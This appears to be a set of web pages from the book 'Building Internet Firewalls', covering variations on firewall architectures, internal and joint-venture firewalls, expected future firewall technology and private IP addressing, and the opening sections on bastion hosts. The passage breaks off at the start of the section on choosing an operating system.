[Chapter 4] 4.3 Variations on Firewall Architectures

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 4.2 Firewall Architectures Chapter 4
Firewall Design 		Next: 4.4 Internal Firewalls

4.3 Variations on Firewall Architectures

We've shown the most common firewall architectures in Figure 4.3 through Figure 4.5. However, there is a lot of variation in architectures. There is a good deal of flexibility in how you can configure and combine firewall components to best suit your hardware, your budget, and your security policy. This section describes some common variations, and their benefits and drawbacks.

4.3.1 It's OK to Use Multiple Bastion Hosts

Although we tend to talk about a single bastion host in this book, it may make sense to use multiple bastion hosts in your firewall configuration, as we show in Figure 4.6. Reasons you might want to do this include performance, redundancy, and the need to separate data or servers.

Figure 4.6: Architecture using two bastion hosts

You might decide to have one bastion host handle the services that are important to your own users (such as SMTP servers, proxy servers, and so on), while another host handles the services that you provide to the Internet, but which your users don't care about (for example, an anonymous FTP server). In this way, performance for your own users won't be dragged down by the activities of outside users.

You may have performance reasons to create multiple bastion hosts even if you don't provide services to the Internet. Some services, like Usenet news, are resource-intensive and easily separated from others. It's also possible to provide multiple bastion hosts with the same services for performance reasons, but it can be difficult to do load balancing. Most services need to be configured for particular servers, so creating multiple hosts for individual services works best if you can predict usage in advance.

How about redundancy? If your firewall configuration includes multiple bastion hosts, you might configure them for redundancy, so that if one fails, the services can be provided by another, but beware that only some services support this approach. For example, you might configure and designate multiple bastion hosts as DNS servers for your domain (via DNS NS [Name Server] records, which specify the name servers for a domain), or as SMTP servers (via DNS MX [Mail Exchange] records, which specify what servers will accept mail for a given host or domain), or both. Then, if one of the bastion hosts is unavailable or overloaded, the DNS and SMTP activity will use the other as a fallback system.

You might also use multiple bastion hosts to keep the data sets of services from interfering with each other. In addition to the performance issues discussed earlier, there may be security reasons for this separation. For example, you might decide to provide one HTTP server for use by your customers over the Internet, and another for use by the general public. By providing two servers, you can offer different data to customers and possibly better performance, by using a less loaded or more powerful machine.

You could also run your HTTP server and your anonymous FTP server on separate machines, to eliminate the possibility that one server could be used to compromise the other. (For a discussion of of how this might be done, see the description of HTTP server vulnerabilities in Chapter 8.)

4.3.2 It's OK to Merge the Interior Router and the Exterior Router

You can merge the interior and exterior routers into a single router, but only if you have a router sufficiently capable and flexible. In general, you need a router that allows you to specify both inbound and outbound filters on each interface. In Chapter 6, we discuss what this means, and we describe the packet filtering problems that may arise with routers that have more than two interfaces and don't have this capability.

If you merge the interior and exterior routers, as we show in Figure 4.7, you'll still have a perimeter net (on one interface of the router) and a connection to your internal net (on another interface of the router). Some traffic would flow directly between the internal net and the Internet (the traffic that is permitted by the packet filtering rules set up for the router), and other traffic would flow between the perimeter net and the Internet, or the perimeter net and the internal net (the traffic that is handled by proxies).

Figure 4.7: Architecture using a merged interior and exterior router

This architecture, like the screened host architecture, makes the site vulnerable to the compromise of a single router. In general, routers are easier to protect than hosts, but they are not impenetrable.

4.3.3 It's OK to Merge the Bastion Host and the Exterior Router

There might be cases in which you use a single dual-homed machine as both your bastion host and your exterior router. Here's an example: suppose you only have a dial-up SLIP or PPP connection to the Internet. In this case, you might run something like the Morning Star PPP package on your bastion host, and let it act as both bastion host and exterior router. This is functionally equivalent to the three-machine configuration (bastion host, interior router, exterior router) described for the screened subnet architecture shown earlier in this chapter.

Using a dual-homed host to route traffic won't give you the performance or the flexibility of a dedicated router, but you don't need much of either for a single low-bandwidth connection. Depending on the operating system and software you're using, you may or may not have the ability to do packet filtering. Several of the available interface software packages, such as the Morning Star PPP package mentioned earlier, have quite good packet filtering capabilities. However, because the exterior router doesn't have to do much packet filtering anyway, using an interface package that doesn't have good packet filtering capabilities is not that big a problem.

Unlike merging the interior and exterior routers, merging the bastion host with the exterior router, as shown in Figure 4.8, does not open significant new vulnerabilities. It does expose the bastion host further. In this architecture, the bastion host is more exposed to the Internet, protected only by whatever filtering (if any) its own interface package does, and you will need to take extra care to protect it.

Figure 4.8: Architecture using a merged bastion host and exterior router

4.3.4 It's Dangerous to Merge the Bastion Host and the Interior Router

While it is acceptable to merge the bastion host and the exterior router, as we discussed in the previous section, it's not a good idea to merge the bastion host and the interior router, as we show in Figure 4.9. Doing so compromises your overall security.

The bastion host and the exterior router each perform distinct protective tasks; they complement each other but don't back each other up. The interior router functions in part as a backup to the two of them.

If you merge the bastion host and the interior router, you've changed the firewall configuration in a fundamental way. In the first case (with a separate bastion host and interior router), you have a screened subnet firewall architecture. With this type of configuration, the perimeter net for the bastion host doesn't carry any strictly internal traffic, so this traffic is protected from snooping even if the bastion host is successfully penetrated; to get at the internal network, the attacker still must get past the interior router. In the second case (with a merged bastion host and interior router), you have a screened host firewall architecture. With this type of configuration, if the bastion host is broken into, there's nothing left in the way of security between the bastion host and the internal network.

Figure 4.9: Architecture using a merged bastion host and interior router

One of the main purposes of the perimeter network is to prevent the bastion host from being able to snoop on internal traffic. Moving the bastion host to the interior router makes all of your internal traffic visible to it.

4.3.5 It's Dangerous to Use Multiple Interior Routers

Using multiple interior routers to connect your perimeter net to multiple parts of your internal net can cause a lot of problems, and is generally a bad idea.

The basic problem is that the routing software on an internal system could decide that the fastest way to another internal system is via the perimeter net. If you're lucky, this approach simply won't work, because it will be blocked by the packet filtering on one of the routers. If you're unlucky, it will work, and you'll have sensitive, strictly internal traffic flowing across your perimeter net, where it can be snooped on if somebody has managed to break in to the bastion host.

It's also difficult to keep multiple interior routers correctly configured. The interior router is the one with the most important and the most complex set of packet filters and having two of them doubles your chances of getting the rule sets wrong.

Nevertheless, you may still end up wanting to do this. On a large internal network, having a single interior router may be both a performance problem and a reliability problem. If you're trying to provide redundancy, that single point of failure is a major annoyance. In that case, the safest (and most redundant) thing to do is to set up each interior router to a separate perimeter net and exterior router; this configuration is discussed later in this chapter. This configuration is more complex and more expensive, but it increases both redundancy and performance, as well as making it highly unlikely that traffic will try to go between the interior routers (if the Internet is the shortest route between two parts of your internal network, you have much worse problems than most sites) and extraordinarily unlikely that it will succeed (four sets of packet filters are trying to keep it out).

If performance problems alone are motivating you to look at multiple interior routers, it's hard to justify the expense of separate perimeter networks and exterior routers. In most cases, however, the interior router is not the performance bottleneck. If it is, then one of the following cases is occurring:

  • There is a lot of traffic going to the perimeter net that is not then going to the external network.

  • Your exterior gateway is much faster than your interior gateway.

In the first case, you have misconfigured something; the perimeter net may take occasional traffic that isn't destined for the external world in some configurations (for example, DNS queries about external hosts when the information is cached), but that traffic should never be significant. In the second case, you should seriously consider upgrading the interior router to match the exterior router, instead of adding a second one.

Figure 4.10 shows the basic architecture using multiple interior routers.

Figure 4.10: Architecture using multiple interior routers

Another reason for having multiple interior routers is that you have multiple internal networks, which have technical, organizational, or political reasons not to share a single router. The simplest way to accommodate these networks would be to give them separate interfaces on a single router, as shown in Figure 4.11. This complicates the router configuration considerably (how considerably depends a great deal on the router in question, as discussed in Chapter 6), but doesn't produce the risks of a multiple interior router configuration. If there are too many networks for a single router, or if sharing a router is unpalatable for other reasons, consider making an internal backbone and connecting it to the perimeter network with a single router, as shown in Figure 4.12.

Figure 4.11: Multiple internal networks (separate interfaces in a single router)

Figure 4.12: Multiple internal networks (backbone architecture)

You may find that an effective way to accommodate different security policies among different internal networks is to attach them to the perimeter through separate routers, (e.g., one network wants to allow connections that others consider insecure.) In this case, the perimeter network should be the only interconnection between the internal networks; there should be no confidential traffic passing between them; and each internal network should treat the other as an untrusted, external network. This is likely to be extremely inconvenient for some users on each network, but anything else will either compromise the security of the site as a whole or remove the distinction that caused you to set up the two routers in the first place.

If you decide that you are willing to accept the risks of having multiple interior routers, you can minimize those risks by having all the interior routers managed by the same group (so conflicting security policies aren't being enforced). You should also keep a careful watch for internal traffic crossing the perimeter network and act promptly to cure the sources of it.

4.3.6 It's OK to Use Multiple Exterior Routers

There are some cases in which it makes sense to connect multiple exterior routers to the same perimeter net, as we show in Figure 4.13.

Figure 4.13: Architecture using multiple exterior routers

Examples are:

  • You have multiple connections to the Internet (for example, through different service providers, for redundancy).

  • You have a connection to the Internet plus other connections to other sites.

In these cases, you might instead have one exterior router with multiple exterior network interfaces.

Attaching multiple exterior routers which go to the same external network (e.g., two different Internet providers) is not a significant security problem. They may have different filter sets, but that's not critical in exterior routers. There is twice the chance that one will be compromisable, but a compromise of an exterior router is not particularly threatening.

Things are more complex if the connections are to different places (for example, one is to the Internet and one is to a site you're collaborating with and need more bandwidth to). To figure out whether such an architecture makes sense in these cases, ask yourself this question: what traffic could someone see if they broke into a bastion host on this perimeter net? For example, if an attacker broke in, could he snoop on sensitive traffic between your site and a subsidiary or affiliate? If so, then you may want to think about installing multiple perimeter nets instead of multiple exterior routers on a single perimeter net. (This case is shown in the next section.)

There are other significant problems involved in setting up connections to external networks with which you have special relationships, which are discussed later in this chapter, in the section called "Internal Firewalls."

4.3.7 It's OK to Have Multiple Perimeter Networks

As we've mentioned above, you'll find in certain situations that it makes sense for your configuration to include multiple perimeter networks. Figure 4.14 shows this configuration.

Figure 4.14: Architecture using multiple perimeter nets (multiple firewalls)

You might put in multiple perimeter nets to provide redundancy. It doesn't make much sense to pay for two connections to the Internet, and then run them both through the same router or routers. Putting in two exterior routers, two perimeter nets, and two interior routers ensures that there is no single point of failure between you and the Internet.[4]

[4] Providing, of course, that your two Internet providers are actually running on different pieces of cable, in different conduits. Never underestimate the destructive power of a backhoe.

You might also put in multiple perimeter nets for privacy, so that you can run moderately confidential data across one, and an Internet connection across the other. In that case, you might even attach both perimeter nets to the same interior router.

Having multiple perimeter nets is less risky than having multiple interior routers sharing the same internal net, but it's still a maintenance headache. You will probably have multiple interior routers, presenting multiple possible points of compromise. Those routers must be watched very carefully to keep them enforcing appropriate security policies; if they both connect to the Internet, they need to enforce the same policy.

4.3.8 It's OK to Use Dual-Homed Hosts and Screened Subnets

You can get significant increases in security by combining a dual-homed host architecture with a screened subnet architecture. To do this, split the perimeter network and insert a dual-homed host. The routers provide protection from forgery, and protect from failures where the dual-homed host starts to route traffic. The dual-homed host provides finer controls on the connections than packet filtering. This is a belt-and-suspenders firewall, providing excellent multilayered protection, although it requires careful configuration on the dual-homed host to be sure you're taking full advantage of the possibilities. (There's no point in running simple, straight-through proxies.)

Previous: 4.2 Firewall Architectures | Building Internet Firewalls | Next: 4.4 Internal Firewalls
4.2 Firewall Architectures | Book Index | 4.4 Internal Firewalls


[Chapter 4] 4.4 Internal Firewalls

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 4.3 Variations on Firewall Architectures Chapter 4
Firewall Design 		Next: 4.5 What the Future Holds

4.4 Internal Firewalls

The assumption in most of the discussions in this book is that you are building a firewall to protect your internal network from the Internet. However, in some situations, you may also be protecting parts of your internal network from other parts. There are a number of reasons why you might want to do this:

  • You have test or lab networks with strange things going on there.

  • You have networks that are less secure than the rest of your site, e.g., demonstration or teaching networks where outsiders are commonly present.

  • You have networks that are more secure than the rest of your site, e.g., secret development projects or networks where financial data or grades are passed around.

This is another situation where firewalls are a useful technology. In some cases, you will want to build internal firewalls; that is, firewalls that sit between two parts of the same organization, or between two separate organizations that share a network, rather than between a single organization and the Internet.

It often makes sense to keep one part of your organization separate from another. Not everyone in an organization needs the same services or information, and security is frequently more important in some parts of an organization (the accounting department, for example) than in others.

Many of the same tools and techniques you use to build Internet firewalls are also useful for building these internal firewalls. However, there are some special considerations that you will need to keep in mind if you are building an internal firewall.

4.4.1 Laboratory Networks

Laboratory and test networks are often the first networks that people consider separating from the rest of an organization via a firewall (usually as the result of some horrible experience where something escapes the laboratory and runs amok). Unless people are working on routers, this type of firewall can be quite simple. Neither a perimeter net nor a bastion host is needed, because there is no worry about snooping (all users are internal anyway), and you don't need to provide many services (the machines are not people's home machines). In most cases, you'll want a packet filtering router that allows any connection inbound to the test network, but only known safe connections from it. (What's safe will depend on what the test network is playing with, rather than on the normal security considerations.)

In a few cases (for example, if you are testing bandwidth on the network), you may want to protect the test network from outside traffic that would invalidate tests, in which case you'll deny inbound connections and allow outbound connections.

If you are testing routers, it's probably wisest to use an entirely disconnected network; if you don't do this, then at least prevent the firewall router from listening to routing updates from the test network. You can do this a number of ways, depending on your network setup, what you're testing, and what routers you have available. You might do any of the following:

  • Use a different routing protocol from the one under test and entirely disable the protocol under test.

  • Tell the router not to accept any routing updates from the interface under test and to filter out packets in the routing protocol.

  • Specify which hosts the router will accept updates from.

If you have a number of test networks, you may find it best to set up a perimeter net for them and give each one a separate router onto the perimeter net, putting most of the packet filtering in the router between the perimeter and the main network. That way, if one test network crashes its router, the rest still have their normal connectivity. Figure 4.15 shows this architecture.

Figure 4.15: Firewall architecture with a laboratory network

If your testing involves external connections, the test network has to be treated as an external network itself; see "Joint Venture Firewalls" below.

4.4.2 Insecure Networks

Test networks are dangerous, but not necessarily less secure than other networks. Many organizations also have some networks that are intrinsically less secure than most. For example, a university may consider networks that run through student dormitories to be particularly insecure; a company may consider demonstration networks, porting labs, and customer training networks to be particularly insecure. Nevertheless, these insecure networks need more interaction with the rest of the organization than does a purely external network.

Networks like dormitory networks and porting labs, where external people have prolonged access and the ability to bring in their own tools, are really as insecure as completely external networks and should be treated that way. Either position them as a second external connection (a new connection on your exterior router or a new exterior router) or set up a separate perimeter network for them. The only advantage these networks offer over purely external networks is that you can specify particular software to be run on them, which means you can make use of encryption effectively. (See Chapter 10, Authentication and Inbound Services for a discussion of how to provide services to external, untrusted networks.)

Demonstration and training labs, where external people have relatively brief, supervised access and cannot bring in tools, can be more trusted (as long as you are sure that people really do have relatively brief, supervised access and cannot bring in tools!). You still need to use a packet filtering router or a dual-homed host to prevent confidential traffic from flowing across those networks. You will also want to limit those networks to connections to servers you consider secure. However, you may be willing to provide NFS service from particular servers, for example, which you wouldn't do to a purely untrusted network. One of your main concerns should be preventing your trusted users from doing unsafe things while working on those networks (for example, logging in to the machines on their desks and forgetting to log out again, or reading confidential electronic mail). This should be done with a combination of training and force (ensuring that the most insecure uses fail).

This is a place where a dual-homed host can be quite useful, even with no proxies on it; the number of people who need to use the host is probably small, and having to log into it will ensure that they see warning messages. The host will also be unable to provide some tempting but highly insecure services; for example, you won't be able to run NFS except from the dual-homed host, and people won't be able to mount their home machine's filesystems.

4.4.3 Extra-Secure Networks

Just as most organizations have points where they're particularly insecure, most of them have points where they're particularly security-conscious. At universities, these may be particular research projects, or the registrar's office; at commercial companies, these may be new products under development; at almost any place, the accounting and finance machines need extra protection. Some unclassified government work also requires extra protections.

Networks for doing classified work - at any level of classification - not only need to be more secure, but also need to meet all relevant government regulations. Generally speaking, they will have to be separated from unclassified networks. In any case, they are outside of the scope of this book. If you need to set one up, consult your security officer; traditional firewalls will not meet the requirements.[5]

[5] If you don't have a security officer, you're not going to have a classified network, either.

You can choose to meet your requirements for extra security either by encrypting traffic that passes over your regular internal networks, or by setting up separate networks for the secure traffic. Separate networks are technically easier as long as there are separate machines on them. That is, if you have a secure research project that owns particular computers, and if people log into them to work on that project, it's reasonably simple to set up a straightforward single-machine firewall (a packet filtering router, most likely). That firewall will treat your normal network as the insecure external universe. Because the lab machines probably don't need many services, a bastion host is unnecessary, and a perimeter net is needed only for the most secret ventures.

If you are dealing with people whose day-to-day work is secure, and who don't have separate machines for that work, a separate network becomes harder to implement. If you put their machines onto a more secure network, they can't work easily with everybody else at the site, and they need a number of services. In this case, you'll need a full bastion host, and therefore probably a perimeter net to put it on. It's tempting to connect their machines to two networks, the secure net and the insecure net, so they can transmit confidential data over one and participate with the rest of the site on the other, but this is a configuration nightmare. If they're attached to both at once, each host is basically a dual-homed host firewall, with all the attendant maintenance problems. If they can only be attached to one at a time, things are more secure. However, configuring the machines is unpleasant for you, and moving back and forth is unpleasant for the user.

At a university, which tends not to have a single coherent network to start with, putting the registrar's office and the financial people on secure networks, firewalled from the rest of the university, will probably work. At a company or government office, where most people work in the same environment, look into using encryption in your applications instead.

4.4.4 Joint Venture Firewalls

Sometimes, organizations come together for certain limited reasons, such as a joint project; they need to be able to share machines, data, and other resources for the duration of the project. For example, look at the decision of IBM and Apple to collaborate on the PowerPC, a personal computer that runs a common operating system; undertaking one joint project doesn't mean that IBM and Apple have decided to merge their organizations or to open up all their operations to each other.

Although the two parties have decided to trust each other for the purposes of this project, they are still competitors. They want to protect most of their systems and information from each other. It isn't just that they may distrust each other; it's also that they can't be sure how good the other's security is. They don't want to risk that an intruder into their partner's system might, through this joint venture, find a route into their system as well. This security problem occurs even if the collaborators aren't also competitors.

You may also want to connect to an external company because it is an outside vendor to you. A number of services depend on information transfer, from shipping (you tell them what you want to ship; they tell you what happened to your shipment) to architecture (you give them specifications; they give you designs) to chip fabrication (you send them the chip design, they give you status on the fabrication process). These outside vendors are not competitors in any sense, but they frequently also work for competitors of yours. They are probably aware of confidentiality issues and try to protect the information they are supposed to have, to the best of their ability. On the other hand, if there are routing slip-ups, and data you're not explicitly sending to them crosses their networks, they are probably going to be completely unconscious of it, and the data will be at risk.

This may seem far-fetched, but it turns out to be a fairly routine occurrence. One company was mystified to discover routes on its network for a competitor's internal network, and still more baffled to discover traffic using these routes. It turned out that the shortest route between them and their competitor was through a common outside vendor. The traffic was not confidential, because it was all traffic that would have gone through the Internet. On the other hand, the connection to the outside vendor was not treated as if it were an Internet connection (the outside vendor itself was not Internet-connected, and nobody had considered the possibility of it cross-connecting Internet-connected clients). Both companies had sudden, unexpected, and unprotected vulnerabilities.

An internal firewall limits exposure in such a situation. It provides a mechanism for sharing some resources, while protecting most of them. Before you set out to build an internal firewall, be sure you're clear on what you want to share, protect, and accomplish. Ask these questions:

  • What exactly do you want to accomplish by linking your network with some other organization's network? The answer to this question will determine what services you need to provide (and, by implication, what services should be blocked).

  • Are you just looking to exchange email or files with the other organization privately, without having to communicate over the Internet? If that's all you want, then maybe a dial-up UUCP connection is all you need, not an IP-level connection between your nets.

  • Are you trying to create a full work environment for a joint project in which team members from both organizations can work together and yet still have access to their own "home" systems (which need to be protected from the other organization)? In such a case, you might actually need two firewalls: one between the joint project net and each of the home organizations.

  • Are you looking for something in between? Exactly what you're trying to accomplish, and what your security concerns are, will determine what firewall technologies are going to be useful to you.

4.4.5 A Shared Perimeter Network Allows an `Arms-length' Relationship

Shared perimeter networks are a good way to approach joint networks. Each party can install its own router, under its own control, onto a perimeter net between the two organizations. In some configurations, these two routers might be the only machines on the perimeter net, with no bastion host. If this is the case, then the "net" might simply be a high-speed serial line (e.g., a 56 Kb/s or T1/E1 line) between the two routers, rather than an Ethernet or another type of local area network.

This is highly desirable with an outside vendor. Most of them are not networking wizards, and they may attempt to economize by connecting multiple clients to the same perimeter network. If the perimeter net is an Ethernet or something similar, any client that can get to its router on that perimeter network can see the traffic for all the clients on that perimeter network - which, with some providers, is almost guaranteed to be confidential information belonging to a competitor. Using a point-to-point connection as the "perimeter net" between the outside vendor and each client, rather than a shared multiclient perimeter net, will prevent them from doing this, even accidentally.

4.4.6 An Internal Firewall May or May Not Need Bastion Hosts

You might not actually need to place a bastion host on the perimeter network between two organizations. The decision about whether you need a bastion host depends on what services are required for your firewall and how much each organization trusts the other. Bastion hosts on the perimeter net are rarely required for relationships with outside vendors; usually you are sending data over one particular protocol and can adequately protect that as a screened host.

If the organizations have a reasonable amount of trust in each other (and, by extension, in each other's security), it may be reasonable to establish the packet filters so that clients on the other side can connect to internal servers (such as SMTP and DNS servers) directly.

On the other hand, if the organizations distrust each other, they might each want to place their own bastion host, under their own control and management, on the perimeter net. Traffic would flow from one party's internal systems, to their bastion host, to the other party's bastion host, and finally to the other party's internal systems.

Previous: 4.3 Variations on Firewall Architectures | Building Internet Firewalls | Next: 4.5 What the Future Holds
4.3 Variations on Firewall Architectures | Book Index | 4.5 What the Future Holds


[Chapter 4] 4.5 What the Future Holds

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 4.4 Internal Firewalls Chapter 4
Firewall Design 		Next: 5. Bastion Hosts

4.5 What the Future Holds

Systems that might be called "third generation firewalls" - firewalls that combine the features and capabilities of packet filtering and proxy systems into something more than both - are just starting to become available.

More and more client and server applications are coming with native support for proxied environments. For example, many WWW clients include proxy capabilities, and lots of systems are coming with run-time or compile-time support for generic proxy systems such as the SOCKS package.

Packet filtering systems continue to grow more flexible and gain new capabilities, such as dynamic packet filtering. With dynamic packet filtering, such as that provided by the CheckPoint Firewall-1 product, the Morning Star Secure Connect router, and the KarlBridge/KarlBrouter, the packet filtering rules are modified "on the fly" by the router in response to certain triggers. For example, an outgoing UDP packet might cause the creation of a temporary rule to allow a corresponding, answering UDP packet back in.

The first systems that might be called "third generation" are just starting to appear on the market. For example, the Borderware product from Border Network Technologies and the Gauntlet 3.0 product from Trusted Information Systems[6] look like proxy systems from the external side (all requests appear to come from a single host), but look like packet filtering systems from the inside (internal hosts and users think they're talking directly to the external systems). They accomplish this magic through a generous amount of internal bookkeeping on currently active connections and through wholesale packet rewriting to preserve the relevant illusions to both sides. The KarlBridge/KarlBrouter product extends packet filtering in other directions, providing extensions for authentication and filtering at the application level. (This is much more precise than the filtering possible with traditional packet filtering routers.)

[6] The same folks who produce the free TIS FWTK discussed throughout this book.

While firewall technologies are changing, so are the underlying technologies of the Internet, and these changes will require corresponding changes in firewalls.

The underlying protocol of the Internet, IP, is currently undergoing major revisions, partly to address the limitations imposed by the use of four-byte host addresses in the current version of the protocol (which is version 4; the existing IP is sometimes called IPv4), and the blocks in which they're given out. Basically, the Internet has been so successful and become so popular that four bytes simply isn't a big enough number to assign a unique address to every host that will join the Internet over the next few years, particularly because addresses must be given out to organizations in relatively large blocks.

Attempts to solve the address size limitations by giving out smaller blocks of addresses (so that a greater percentage of them are actually used) raise problems with routing protocols. Stop-gap solutions to both problems are being applied but won't last forever. Estimates for when the Internet will run out of new addresses to assign vary, but the consensus is that either address space or routing table space (if not both) will be exhausted sometime within a few years after the turn of the century.

While they're working "under the hood" to solve the address size limitations, the people designing the new IP protocol (which is often referred to as "IPng" for "IP next generation" - officially, it will be IP version 6, or IPv6, when the standards are formally adopted and ratified) are taking advantage of the opportunity to make other improvements in the protocol. Some of these improvements have the potential to cause profound changes in how firewalls are constructed and operated; however, it's far too soon to say exactly what the impact will be. It will probably be at least 1997, if not later, before IPng becomes a significant factor for any but the most "bleeding edge" organizations on the Internet. (Chapter 6 describes IPv6 in somewhat more detail.)

The underlying network technologies are also changing. Currently, most networks involving more than two machines (i.e., almost anything other than dial-up or leased lines) are susceptible to snooping; any node on the network can see at least some traffic that it's not supposed to be a party to. Newer network technologies, such as frame relay and Asynchronous Transfer Mode (ATM), pass packets directly from source to destination, without exposing them to snooping by other nodes in the network.

Private IP Addresses

In general, sites should obtain and use IP addresses that have been assigned specifically to them by either their service provider or their country's Network Information Center (NIC). This coordinated assignment of addresses will prevent sites from having difficulties reaching other sites because they've inadvertently chosen conflicting IP addresses. Coordinated assignment of addresses also makes life easier (and therefore more efficient) for service providers and other members of the Internet routing core.

Unfortunately, some organizations have simply picked IP addresses out of thin air, because they didn't want to go to the trouble of getting assigned IP addresses, because they couldn't get as many addresses as they thought they needed for their purposes (Class A nets are extremely difficult to come by because there are only 126 possible Class A network numbers in the world), or because they thought their network would never be connected to the Internet. The problem is, if such organizations ever do want to communicate with whoever really owns those addresses (via a direct connection, or through the Internet), they'll be unable to because of addressing conflicts.

RFC1597[7] recognizes this long-standing practice and sets aside certain IP addresses (Class A net 10, Class B nets 172.16 through 172.31, and Class C nets 192.168.0 through 192.168.255) for private use by any organization. These addresses will never be officially assigned to anyone and should never be used outside an organization's own network.

[7] RFCs (Requests for Comments) are Internet standards documents.

As RFC1627[8] (a followup to RFC1597) points out, RFC1597 doesn't really address the problem; it merely codifies the problem so that it can be more easily recognized in the future. If a site chooses to use these private addresses, they're going to have problems if they ever want to link their site to the Internet (all their connections will have to be proxied, because the private addresses must never leak onto the Internet), or if they ever want to link their site to another site that's also using private addresses (for example, because they've bought or been bought by such a site).

[8] RFC1918 has superseded RFC1627 and made it obsolete.

Our recommendation is to obtain and use registered IP addresses if at all possible. If you must use private IP addresses, then use the ones specified by RFC1597, but beware that you're setting yourself up for later problem. We use the RFC1597 addresses throughout this book as sample IP addresses, because we know they won't conflict with any site's actual Internet-visible IP addresses.

Previous: 4.4 Internal Firewalls | Building Internet Firewalls | Next: 5. Bastion Hosts
4.4 Internal Firewalls | Book Index | 5. Bastion Hosts


[Chapter 5] Bastion Hosts

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 4.5 What the Future Holds Chapter 5 Next: 5.2 Special Kinds of Bastion Hosts

5. Bastion Hosts

Contents:
General Principles
Special Kinds of Bastion Hosts
Choosing a Machine
Choosing a Physical Location
Locating the Bastion Host on the Network
Selecting Services Provided by the Bastion Host
Don't Allow User Accounts on the Bastion Host
Building a Bastion Host
Operating the Bastion Host
Protecting the Machine and Backups

A bastion host is your public presence on the Internet. Think of it as the lobby of a building. Outsiders may not be able to go up the stairs and may not be able to get into the elevators, but they can walk freely into the lobby and ask for what they want. (Whether or not they will get what they ask for depends upon the building's security policy.) Like the lobby in your building, a bastion host is exposed to potentially hostile elements. The bastion host is the system that any outsiders - friends or possible foes - must ordinarily connect with to access a system or a service that's inside your firewall.

By design, a bastion host is highly exposed, because its existence is known to the Internet. For this reason, firewall builders and managers need to concentrate security efforts on the bastion host. You should pay special attention to the host's security during initial construction and ongoing operation. Because the bastion host is the most exposed host, it also needs to be the most fortified host.

Although we talk about a single bastion host in this chapter and elsewhere in this book, remember there may be multiple bastion hosts in a firewall configuration. The number depends on a site's particular requirements and resources, as discussed in Chapter 4, Firewall Design. Each is set up according to the same general principles, using the same general techniques.

Bastion hosts are used with many different firewall approaches and architectures; most of the information in this chapter should be relevant regardless of whether you're building a bastion host to use with a firewall based on packet filtering, proxying, or a hybrid approach. The principles and procedures for building a bastion host are extensions of those for securing any host. You want to use them, or variations of them, for any other host that's security critical, and possibly for hosts that are critical in other ways (e.g., major servers on your internal network).

5.1 General Principles

There are two basic principles for designing and building a bastion host: Keep it simple, and be prepared for the bastion host to be compromised.

Keep it simple

The simpler your bastion host is, the easier it is to secure.

Any service the bastion host offers could have software bugs or configuration errors in it, and any bugs or errors may lead to security problems. Therefore, you want the bastion host to do as little as possible. It should provide the smallest set of services with the least privileges it possibly can, while still fulfilling its role.

Be prepared for the bastion host to be compromised

Despite your best efforts to ensure the security of the bastion host, break-ins can occur. Don't be naive about it. Only by anticipating the worst, and planning for it, will you be most likely to avert it. Always keep the question, "What if the bastion host is compromised?" in the back of your mind as you go through the steps of securing the machine and the rest of the network.

Why do we emphasize this point? The reason is simple: the bastion host is the machine most likely to be attacked because it's the machine most accessible to the outside world. It's also the machine from which attacks against your internal systems are most likely to come because the outside world probably can't talk to your internal systems directly. Do your best to ensure that the bastion host won't get broken into, but keep in mind the question, "What if it does?"

In case the bastion host is broken into, you don't want that break-in to lead to a compromise of the entire firewall. You can prevent this by not letting internal machines trust the bastion host any more than is absolutely necessary for the bastion host to function. You will need to look carefully at each service the bastion host provides to internal machines, and determine, on a service-by-service basis, how much trust and privilege each service really needs to have.

Once you've made these decisions, you can use a number of mechanisms to enforce them. For example, you might install standard access control mechanisms (passwords, authentication devices, etc.) on the internal hosts, or you might set up packet filtering between the bastion host and the internal hosts.

Previous: 4.5 What the Future Holds | Building Internet Firewalls | Next: 5.2 Special Kinds of Bastion Hosts
4.5 What the Future Holds | Book Index | 5.2 Special Kinds of Bastion Hosts


[Chapter 5] 5.2 Special Kinds of Bastion Hosts

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.1 General Principles Chapter 5
Bastion Hosts 		Next: 5.3 Choosing a Machine

5.2 Special Kinds of Bastion Hosts

Most of this chapter discusses bastion hosts that are screened hosts or service-providing hosts on a screened network. There are several kinds of bastion hosts, however, that are configured similarly but have special requirements.

5.2.1 Nonrouting Dual-homed Hosts

A nonrouting dual-homed host has multiple network connections, but doesn't pass traffic between them. Such a host might be a firewall all by itself, or might be part of a more complex firewall. For the most part, nonrouting dual-homed hosts are configured like other bastion hosts, but need extra precautions, discussed below, to make certain they truly are nonrouting. If a nonrouting dual-homed host is your entire firewall, you need to be particularly paranoid in its configuration and follow the normal bastion host instructions with extreme care.

5.2.2 Victim Machines

You may want to run services that are difficult to provide safely with either proxying or packet filtering, or services that are so new that you don't know what their security implications are. For that purpose, a victim machine (or sacrificial goat) may be useful. This is a machine that has nothing on it you care about, and that has no access to machines that an intruder could make use of. It provides only the absolute minimum necessary to use it for the services you need it for. If possible, it provides only one unsafe or untested service, to avoid unexpected interactions.

Victim machines are configured much as normal bastion hosts are, except that they almost always have to allow users to log in. The users will almost always want you to have more services and programs than you would configure on a normal bastion host; resist the pressure as much as possible. You do not want users to be comfortable on a victim host: they will come to rely on it, and it will no longer work as designed. The key factor for a victim machine is that it is disposable, and if it is compromised, nobody cares. Fight tooth and nail to preserve this.

5.2.3 Internal Bastion Hosts

In most configurations, the main bastion host has special interactions with certain internal hosts. For example, it may be passing electronic mail to an internal mail server, coordinating with an internal name server, or passing Usenet news to an internal news server. These machines are effectively secondary bastion hosts, and they should be configured and protected more like the bastion host than like normal internal hosts. You may need to leave more services enabled on them, but you should go through the same configuration process.

Previous: 5.1 General Principles | Building Internet Firewalls | Next: 5.3 Choosing a Machine
5.1 General Principles | Book Index | 5.3 Choosing a Machine


[Chapter 5] 5.3 Choosing a Machine

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.2 Special Kinds of Bastion Hosts Chapter 5
Bastion Hosts 		Next: 5.4 Choosing a Physical Location

5.3 Choosing a Machine

The first step in building a bastion host is to decide what kind of machine to use. You want reliability (if the bastion host goes down, you lose most of the benefit of your Internet connection), supportability, and configurability. This section looks at which operating system you should run, how fast the bastion host needs to be, and what hardware configuration should be supported.

5.3.1 What Operating System?

